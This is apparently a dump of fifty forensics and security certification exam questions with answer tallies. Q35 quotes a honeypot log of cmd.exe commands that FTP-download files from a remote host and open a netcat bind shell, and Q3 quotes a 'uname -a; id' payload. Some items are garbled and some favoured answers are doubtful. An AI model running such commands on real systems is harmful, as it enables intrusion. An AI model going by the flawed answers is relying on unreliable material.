1.

It has been discovered that a former member of the IT department who switched to the development
team still has administrative access to many major network infrastructure devices and servers. Which
of the following mitigation techniques should be implemented to help reduce the risk of this event
recurring?
 77 A. DLP
 414 B. Incident management and response policy
 437 C. Change management notifications
 377 D. Regular user permission and rights reviews
2. 2.

In a computer forensics investigation, what describes the route that evidence takes from the time you
find it until the case is closed or goes to court?

 120 A. rules of evidence

 64 B. law of probability
 1044 C. chain of custody
 78 D. policy of separation
3. 3.

A honey pot deployed with the IP [Link] was compromised by an attacker . Given below is an
excerpt from a Snort binary capture of the attack. Decipher the activity carried out by the attacker by
studying the log. Please note that you are required to infer only what is explicit in the excerpt. (Note:
The student is being tested on concepts learnt during passive OS fingerprinting, basic TCP/IP
connection concepts and the ability to read packet signatures from a sniff dump.) 03/15-
20:21:24.107053 [Link]:3500 -> [Link]:111 TCP TTL:43 TOS:0x0 ID:29726
IpLen:20 DgmLen:52 DF ***A**** Seq: 0x9B6338C5 Ack: 0x5820ADD0 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 23678634 2878772
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 03/15-
20:21:24.452051 [Link]:789 -> [Link]:111 UDP TTL:43 TOS:0x0 ID:29733
IpLen:20 DgmLen:84 Len: 64 01 0A 8A 0A 00 00 00 00 00 00 00 02 00 01 86 A0 ................ 00 00 00
02 00 00 00 03 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 01 86 B8 00 00 00 01
................ 00 00 00 11 00 00 00 00 ........
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= 03/15-
20:21:24.730436 [Link]:790 -> [Link]:32773 UDP TTL:43 TOS:0x0 ID:29781
IpLen:20 DgmLen:1104 Len: 1084 47 F7 9F 63 00 00 00 00 00 00 00 02 00 01 86 B8 G..c............ 00
00 00 01 00 00 00 01 00 00 00 01 00 00 00 20 ............... 3A B1 5E E5 00 00 00 09 6C 6F 63 61 6C
68 6F 73 :.^.....localhost
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= +
03/15-20:21:36.539731 [Link]:4450 -> [Link]:39168 TCP TTL:43 TOS:0x0
ID:31660 IpLen:20 DgmLen:71 DF ***AP*** Seq: 0x9C6D2BFF Ack: 0x59606333 Win: 0x7D78
TcpLen: 32 TCP Options (3) => NOP NOP TS: 23679878 2880015 63 64 20 2F 3B 20 75 6E 61 6D
65 20 2D 61 3B 20 cd /; uname -a; 69 64 3B id;

 1137 A. The attacker has conducted a network sweep on port 111

 70 B. The attacker has scanned and exploited the system using Buffer
 41 C. The attacker has used a Trojan on port 32773
  54 D. The attacker has used a Trojan on port 32773
4. 4.

What file structure database would you expect to find on floppy disks?

 114 A. NTFS
 132 B. Fat 32
 81 C. Fat 16
 975 D. FAT 12
5. 5.

When examining a file with a Hex Editor, what space does the file header occupy?

 79 A. the last several bytes of the file

 304 B. the first several bytes of the file
 173 C. none, file headers are contained in the FAT
 747 D. one byte at the beginning of the file
6. 6.

To calculate the number of bytes on a disk, the formula is: CHS**

 306 A. number of circles x number of halves x number of sides x 512 bytes per sector
 407 B. The answers is wrong
 127 C. number of cells x number of heads x number of sides x 512 bytes per sector
 463 D. number of cylinders x number of halves x number of shims x 512 bytes per sector and
number of cylinders x number of halves x number of shims x 512 bytes per sector number of
cylinders x number of halves x number of shims x 512 bytes per sector
7. 7.

A suspect is accused of violating the acceptable use of computing resources, as he has visited adult
websites and downloaded images. The investigator wants to demonstrate that the suspect did indeed
visit these sites. However, the suspect has cleared the search history and emptied the cookie cache.
Moreover, he has removed any images he might have downloaded. What can the investigator do to
prove the violation? Choose the most feasible option.

 1007 A. Image the disk and try to recover deleted files

 34 B. Seek the help of co-workers who are eye-witnesses
 184 C. Check the Windows registry for connection data (You may or may not recover)
 77 D. Approach the websites for evidence
8. 8.

Which part of the Windows Registry contains the user's password file?

 773 A. HKEY_LOCAL_MACHINE
 70 B. HKEY_CURRENT_CONFIGURATION
 237 C. HKEY_USER
  222 D. HKEY_CURRENT_USER
9. 9.

Which of the following are a benefit of removing unused or unneeded services and protocols?

 306 A. More machine resource availability

 100 B. More network through put
 166 C. Less need for administration
 729 D. More Security
10. 10.

The component of a DDoS attack that sends commands to DDoS zombie agents is known as a
_____.

 218 A. System Commander

 55 B. Console
 901 C. Master
 128 D. Rootkit
11. 11.

Which of the following is a weakness in WEP related to the IV? (Select all that apply)

 246 A. The IV is a static value, which makes it relatively easy for an attacker to brute force the
WEP key from captured traffic
 549 B. The IV is transmitted in plaintext and can be easily seen in captured traffic
 426 C. The IV is only 24 bits in size, which makes it possible that two or more data frames will
be trasmitted with the same IV, thereby resulting in an IV collision that an attacker can use to
determine information about the network
 80 D. There is no weakness in WEP related to the IV
12. 12.

You are creating a DMZ for a company and need to allow eternal users to access Web servers in the
DMZ using HTTP/S as well as allow internal users to access the same Web firewalls to meet these
requirements

 175 A. Open port 80 on the external firewall and port 443 on the internal firewall
 811 B. Open port 443 on the external firewall and port 80 on the internal firewall
 120 C. Open port 80 on the external firewall and port 110 on the internal firewall
 198 D. Open port 110 on the external firewall and port 80 on the internal firewall
13. 13.

When you use Java, the JVM isolates the Java applet to a sandbox when it executes. What does this
do to provide additional security

 98 A. This prevents the Java applet from accessing data on the client's hard drive
  286 B. This prevents the Java applet from communicationg to servers other than the one from
which it was downloaded
 119 C. This prevents the Java applet from failing in such a way ta=hat the Java applet is
unable to execute
 799 D. This prevents the Java applet from failing in such a way that it affects another
application
14. 14.

You are setting up a test plan for verifying thta new code being placed on a Web server is secure and
does not cause any problems with the production Web server. What is the best way to test the code
prior to deploying it to the production Web server?

 141 A. Test all new code on a development PC prior to transferring it to the production Web
server
 297 B. Test all new code on an active internal Web sever prior to transferring it to the
production web server
 600 C. Test all new code on a duplicate web server prior to transferring it to the production
web server
 266 D. Test all new code on another user's PC prior to transferring it to the production web
server
15. 15.

To allow its employees remote access to the corporate network, a company has implemented a
hardware VPN solution. Why is this considered a secure remote access solution?

 221 A. Because only the company's employees will know the address to connect to in order
to use the VPN
 101 B. Because VPNs use the internet to transfer data
 111 C. Because a VPNs uses compression to make its data secure
 870 D. Because a VPNs uses encryption to make its data secure
16. 16.

The network team at your company has placed a sniffer on the network to analyze an ongoing
network-related problem. The team connects to the sniffer using Telnet to view the data going
accross the network. What would you recommend to increase the security of this connection without
making it significantly more difficult for the network team members to do their jobs?

 47 A. Require the network team to remove the sniffer immediately

 124 B. Require the network team to view the data from the local console of the sniffer
 311 C. Encrypt the connection to the sniffer using PAP
 823 D. Use SSH to make the connection to the sniffer rather than Telnet
17. 17.

Which of the following protocols can be used to secure a VPN connection?

 643 A. TCP/IP
  108 B. DNS
 529 C. MPPE
 21 D. AppleTalk
18. 18.

Sally has come to you for advice and guidance. She is trying to configure a network device to block
attempts to connect on certain ports, but when she finishes the configuration, it works for a period of
time but them changes back to the original configuration. She cannot understand why the setting
continue to change back. When you examine the configuration, you find that the _______ are
incorrect, and are allowing Bob to change the configuration, although he is not supposed to operate
or configure this device. Since he did not know avout Sally, he kept changing the configuration back.

 139 A. MAC settings

 59 B. DAC settings
 625 C. ACL settings
 481 D. Permissions
19. 19.

Josh has asked for a clerification of what a firmware update is. How could you briefly describe for him
the purpose of firmware updates? (Pick the best answer)

 1087 A. Firmware updates are control software- or BIOS-type updates that are installed to
improve the functionality or extend the life of the device involved
 116 B. Firmware updates are device-spesific command sets that must be upgrade to continue
operation
 56 C. Firmware updates update the mechanical function of the device
 40 D. Firmware updates ate minor fixes, and are not usually necessary
20. 20.

When an investigator contacts by telephone the domain administrator or controller listed by a whois
lookup to request all e-mails sent and received for a user account be preserved, what U.S.C. statute
authorizes this phone call and obligates the ISP to preserve e-mail records?

 80 A. Title 18, Section 1030

 163 B. Title 18, Section 2703(d)
 133 C. Title 18, Section Chapter 90
 925 D. Title 18, Section 2703(f)
21. 21.

Before you are called to testify as an expert, what must an attorney do first?

 44 A. engage in damage control

 175 B. prove that the tools you used to conduct your examination are perfect
 85 C. read your curriculum vitae to the jury
 999 D. qualify you as an expert witness
22. 22.
 You are contracted to work as a computer forensics investigator for a regional bank that has four 30
TB storage area networks that store customer data. What method would be most efficient for you to
acquire digital evidence from this network?

 145 A. create a compressed copy of the file with DoubleSpace

 208 B. create a sparse data copy of a folder or file
 727 C. make a bit-stream disk-to-image file
 226 D. make a bit-stream disk-to-disk file
23. 23.

It takes_____________ mismanaged case/s to ruin your professional reputation as a computer

forensics examiner?

 103 A. by law, three

 79 B. quite a few
 1039 C. only one
 80 D. at least two
24. 24.

An employee is attempting to wipe out data stored on a couple of compact discs (CDs) and digital
video discs (DVDs) by using a large magnet. You inform him that this method will not be effective in
wiping out the data because CDs and DVDs are______________ media used to store large amounts
of data and are not affected by the magnet.

 51 A. logical
 90 B. anti-magnetic
 87 C. magnetic
 1075 D. optical
25. 25.

Lance wants to place a honeypot on his network. Which of the following would be your
recommendations?

 152 A. Use a system that has a dynamic addressing on the network

 83 B. Use a system that is not directly interacting with the router
 563 C. Use it on a system in an external DMZ in front of the firewall
 509 D. It doesn't matter as all replies are faked
26. 26.

What does the acronym POST mean as it relates to a PC?

 45 A. Primary Operations Short Test

 1068 B. Power On Self Test
 32 C. Pre Operational Situation Test
 159 D. Primary Operating System Test
27. 27.
 You are working as an investigator for a corporation and you have just received instructions from your
manager to assist in the collection of 15 hard drives that are part of an ongoing investigation. Your job
is to complete the required evidence custody forms to properly document each piece of evidence as it
is collected by other members of your team. Your manager instructs you to complete one multi-
evidence form for the entire case and a single-evidence form for each hard drive. How will these
forms be stored to help preserve the chain of custody of the case?

 89 A. All forms should be placed in an approved secure container because they are now
primary evidence in the case.
 902 B. The multi-evidence form should be placed in the report file and the single-evidence
forms should be kept with each hard drive in an approved secure container.
 228 C. The multi-evidence form should be placed in an approved secure container with the
hard drives and the single-evidence forms should be placed in the report file.
 82 D. All forms should be placed in the report file because they are now primary evidence in
the case.
28. 28.

The MD5 program is used to:

 37 A. wipe magnetic media before recycling it

 61 B. make directories on a evidence disk
 43 C. view graphics files on an evidence drive
 1161 D. verify that a disk is not altered when you examine it
29. 29.

E-mail log does not contain which of the following information to help you in your investigation?
(Select up to 4)

 107 A. user account that was used to send the account

 1051 B. e-mail message (log¤¤¨S¦³attach¸ê®Æ)
 77 C. unique message identifier
 67 D. contents of the e-mail message
30. 30.

In what way do the procedures for dealing with evidence in a criminal case differ from the procedures
for dealing with evidence in a civil case?

 83 A. evidence must be handled in the same way regardless of the type of case
 72 B. evidence procedures are not important unless you work for a law enforcement agency
 1019 C. evidence in a criminal case must be secured more tightly than in a civil case
 127 D. evidence in a civil case must be secured more tightly than in a criminal case
31. 31.

You are assigned to work in the computer forensics lab of a state police agency. While working on a
high profile criminal case, you have followed every applicable procedure, however your boss is still
 concerned that the defense attorney might question weather evidence has been changed while at the
lab. What can you do to prove that the evidence is the same as it was when it first entered the lab?

 1162 A. make an MD5 hash of the evidence and compare it with the original MD5 hash that
was taken when the evidence first entered the lab
 69 B. make an MD5 hash of the evidence and compares it to the standard database
developed by NIST
 17 C. there is no reason to worry about this possible claim because state labs are certified
 54 D. sign a statement attesting that the evidence is the same as it was when it entered the
lab
32. 32.

When monitoring for both intrusion and security events between multiple computers, it is essential
that the computers' clocks are synchronized. Synchronized time allows an administrator to
reconstruct what took place during an attack against multiple computers. Without synchronized time,
it is very difficult to determine exactly when specific events took place, and how events interlace.
What is the name of the service used to synchronize time among multiple computers?

 36 A. Universal Time Set

 1138 B. Network Time Protocol
 63 C. SyncTime Service
 70 D. Time-Sync Protocol
33. 33.

When investigating a potential e-mail crime, what is your first step in the investigation?

 1134 A. Trace the IP address to its origin

 47 B. Write a report
 66 C. Determine whether a crime was actually committed
 56 D. Recover the evidence
34. 34.

What happens when a file is deleted by a Microsoft operating system using the FAT file system?

 1094 A. only the reference to the file is removed from the FAT
 73 B. the file is erased and cannot be recovered
 44 C. a copy of the file is stored and the original file is erased
 90 D. the file is erased but can be recovered
35. 35.

The following excerpt is taken from a honeypot log that was hosted at [Link]. Snort reported
Unicode attacks from [Link]. The File Permission Canonicalization vulnerability
(UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to
run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying [Link]. He
then switches to playing with RDS, via [Link]. The RDS vulnerability allows a malicious user to
construct SQL statements that will execute shell commands (such as [Link]) on the IIS server.
 He does a quick query to discover that the directory exists, and a query to [Link] shows that it is
functioning correctly. The attacker makes a RDS query which results in the commands run as shown
below. "[Link] /c open [Link] >ftpcom" "[Link] /c echo johna2k >>ftpcom"
"[Link] /c echo haxedj00 >>ftpcom" "[Link] /c echo get [Link] >>ftpcom" "[Link] /c echo
get [Link] >>ftpcom" "[Link] /c echo get [Link] >>ftpcom" "[Link] /c echo quit
>>ftpcom" "[Link] /c ftp -s:ftpcom" "[Link] /c nc -l -p 6969 -e [Link]" What can you infer
from the exploit given?

 44 A. It is a local exploit where the attacker logs in using username johna2k

 72 B. There are two attackers on the system - johna2k and haxedj00
 1103 C. The attack is a remote exploit and the hacker downloads three files
 82 D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP
port
36. 36.

What term is used to describe a cryptographic technique for embedding information into something
else for the sole purpose of hiding that information from the casual observer?

 45 A. rootkit
 198 B. key escrow
 1030 C. steganography
 31 D. Offset
37. 37.

During the course of an investigation, you locate evidence that may prove the innocence of the
suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire
fact finding process. Therefore you report this evidence. This type of evidence is known as:

 99 A. Inculpatory evidence
 187 B. mandatory evidence
 953 C. exculpatory evidence
 63 D. Terrible evidence
38. 38.

Corporate investigations are typically easier than public investigations because ...

 174 A. the investigator has to get a warrant

 288 B. the users have standard corporate equipment and software
 743 C. the investigator does not have to get a warrant
 94 D. the users can load whatever they want on their machines
39. 39.

What binary coding is used most often for e-mail purposes?

 866 A. MIME
 114 B. UuenCode
  152 C. IMAP
 173 D. SMTP
40. 40.

If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do
not contaminate or alter data on the suspect's hard drive by booting to the hard drive.

 42 A. deltree command
 679 B. CMOS
 459 C. Boot sys
 124 D. Scandisk utility
41. 41.

When obtaining a warrant it is important to:

 684 A. particularly describe the place to be searched and particularly describe the items to be
seized
 246 B. generally describe the place to be searched and particularly describe the items to be
seized
 163 C. generally describe the place to be searched and generally describe the items to be
seized
 204 D. particularly describe the place to be searched and generally describe the items to be
seized
42. 42.

If a suspect computer is located in an area that may have toxic chemicals, you must:

 69 A. assume the suspect machine is contaminated

 1071 B. coordinate with the HAZMAT team
 27 C. do not enter alone
 132 D. determine a way to obtain the suspect computer
43. 43.

Which is the most important reason for the removal of unused, unnecessary, or unneeded protocols,
services, andapplications?

 1068 A. Increased security

 84 B. Increased performance
 65 C. Less need for administration
 84 D. Less machine resource use
44. 44.

The act of attempting to appear to be someone you’re not in order to gain access to a system is
known as which of the following?

 1096 A. Spoofing
  81 B. DDoS
 36 C. Replay
 89 D. Sniffing
45. 45.

Which of the following is most likely to make systems vulnerable to MITM attacks?

 110 A. Weak passwords

 1009 B. Weak TCP sequence number
 127 C. Authentication misconfiguration on routers
 53 D. Use of the wrong operation system
46. 46.

Which of the following is the best way to protect your organization from revealing sensitive
information through dumpster diving?

 105 A. Establish a policy requiring employees to change passwords every 30 to 60 days

 776 B. Teach employees the value of not disclosing restricted information over the telephone
to unknown parties
 106 C. Add a new firewall to the network
 315 D. Shared all sensitive documentation
47. 47.

The use of VPNs and _______ have enabled users to be able to telecommute

 807 A. PGP
 36 B. S/MIME
 185 C. Wireless NICs
 273 D. RASs
48. 48.

PDAs, cell phones, and certain network cards have the ability to use _______ networks. Choose the
BEST answer

 20 A. Wired
 805 B. Private
 465 C. Wireless
 12 D. Antique
49. 49.

There are three recognize levels of hacking ability in the internet community. The first is the skilled
hacker, who writes the programs and scripts that script kiddies use for their attacks. Next comes the
script kiddie, who knows how to run the scripts written by the skilled hackers. After the script kiddies
come the _______, who lack the basic knowledge of networks and security to lunch an attack
themselves
  831 A. Web kiddies
 79 B. Clickers
 332 C. Click kiddies
 58 D. Dunce kiddies
50. 50.

How is Annualized Loss Expectancy (ALE) derived from a threat?

 321 A. ARO x (SLE - EF)

 546 B. SLE x ARO
 61 C. SLE/EF
 52 D. AV x EF